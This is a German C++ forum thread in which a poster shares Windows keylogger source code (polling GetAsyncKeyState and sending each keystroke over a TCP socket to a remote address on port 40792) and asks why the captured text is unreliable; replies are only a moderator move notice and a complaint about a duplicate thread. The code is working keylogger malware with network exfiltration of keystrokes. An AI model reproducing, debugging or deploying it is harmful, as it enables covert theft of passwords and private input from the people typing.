Keylogger funktioniert nicht



  • hi mal ne Frage,
    ich hab einen Keylogger an meinem 2. pc an dem ich an meinem 1. pc über sockets tastatur eingaben schicke.

    //Testet ob ein Key abgefragt wurde
    string GetKey(int Key)
    {
        string KeyString = "";
        if (Key == 8)
            KeyString = "[delete]";
        else if (Key == 13)
            KeyString = "\n";
        else if (Key == 32)
            KeyString = " ";
        else if (Key == VK_PAUSE)
            KeyString = "[PAUSE]";
        else if (Key == VK_CAPITAL)
            KeyString = "[CAPITAL]";
        else if (Key == VK_SHIFT)
            KeyString = "[SHIFT]";
        else if (Key == VK_TAB)
            KeyString = "[TABULATOR]";
        else if (Key == VK_CONTROL)
            KeyString = "[CTRL]";
        else if (Key == VK_ESCAPE)
            KeyString = "[ESCAPE]";
        else if (Key == VK_END)
            KeyString = "[END]";
        else if (Key == VK_HOME)
            KeyString = "[HOME]";
        else if (Key == VK_LEFT)
            KeyString = "[LEFT]";
        else if (Key == VK_RIGHT)
            KeyString = "[RIGHT]";
    	else if (Key == VK_OEM_PERIOD)
    		KeyString = ".";
        //Char klein machen
        else if (Key >=96 && Key <= 105)
            KeyString = Key-48;
        else if (Key > 47 && Key < 60)
            KeyString = Key;
        if (Key != VK_LBUTTON || Key != VK_RBUTTON)
        {
            if (Key > 64 && Key < 91)
            {
                if (GetKeyState(VK_CAPITAL))
                    KeyString = Key;
                else
                {
                    Key = Key + 32;
                    KeyString = Key;
                }
            }
        }
    
        return KeyString;
    } 
    
    void ThreadKeylogg (PVOID pvoid)
    {
        string TempString = ""; 
    	SOCKET skey;
    	SOCKADDR_IN addr;
    	int rc;
    	WSADATA wsa;
    	WSAStartup(MAKEWORD(2, 0), &wsa);
    	skey = socket(AF_INET, SOCK_STREAM, 0);
    	if(skey == INVALID_SOCKET) 
    	{
    		MessageBox(0, TEXT("Socket konnte nicht erstellt werden!"), szAppName, MB_ICONERROR);
    	}
    	memset(&addr, 0, sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten 
    	addr.sin_family = AF_INET;
    	addr.sin_port = htons(40792); // wir verwenden mal port 40792
    	rc = getAddrFromString(TEXT("ip"), &addr);
    	if(rc == SOCKET_ERROR)
    	{
    		MessageBox(0, TEXT("Hostname konnte nicht aufgelöst werden!"), szAppName, MB_ICONERROR);
    	}
        if(connect(skey, (SOCKADDR*)&addr, sizeof(SOCKADDR)) == SOCKET_ERROR) 
    	{
    		MessageBox(0, TEXT("Konnte nicht verbinden!"), szAppName, MB_ICONERROR);
    	}
    	while(1)
    	{
    		Sleep(5);
    		for(int i = 8; i < 191; i++)
    		{
    			if(GetAsyncKeyState(i)&1 ==1)
                {
    				TempString = GetKey (i); 
    				send(skey, TempString.c_str(), TempString.size(), 0);
    			}
    		}
    	}
    }
    

    also ich haben den von hier:
    http://www.online-tutorials.net/system/keylogger-tastatur-abfragen/sourcecodes-t-19-270.html

    Sieht hier einer nen fehler? ist irgendwie total unzuverlässing. Manchmal gehts manchmal kommen falsche eingaben usw.
    z.b. letztens gibt einer xbeam ein und das richtige wort war ixbeamsn.
    Und kommt mir bitte nicht mit oh ein Keylogger.
    Ich will nur meine C++ Kenntnisse erweitern.
    Danke an alle die mir versuchen zu helfen 🙂



  • Dieser Thread wurde von Moderator/in Phoemuex aus dem Forum C++ in das Forum WinAPI verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.



  • was sollen wir mit dem schrott hier, wir haben den gleichen thread hier schonmal, behaltet eure müllthreads doch in c++ oder closed sie halt gleich 👎


Anmelden zum Antworten